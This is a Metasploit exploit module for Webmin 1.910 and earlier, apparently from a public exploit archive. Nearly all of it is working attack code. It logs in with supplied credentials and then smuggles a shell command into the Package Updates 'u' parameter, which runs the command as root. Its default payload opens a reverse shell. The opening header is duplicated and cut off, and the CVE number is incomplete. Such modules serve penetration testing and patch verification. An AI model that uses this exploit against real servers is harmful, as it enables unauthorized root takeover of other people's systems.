Webmin 1.910 Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin <= 1.910 - "Package Updates" Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.910 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.

),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python' # its depends
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1',
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})

if res && res.code == 302 && res.get_cookies =~ /sid=(w+)/
return $1
end

return nil unless res
''
end
##
# Target and input verification
##
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?

vprint_status('Attempting to execute...')
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})

if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
print_error("#{datastore['USERNAME']} has not the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
##
# Exploiting phase
##
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")

res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' =>
{
'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1"
},
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end

print_status("Attempting to execute the payload...")
exec(cookie)

end

def exec(cookie)

command = payload.encoded

res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
'data' => "u=acl%2Fapt&u=%20%7C%20#{command}&ok_top=Update+Selected+Packages"
})

end
end
##
# The end of the adventure (o_O) // AkkuS
##
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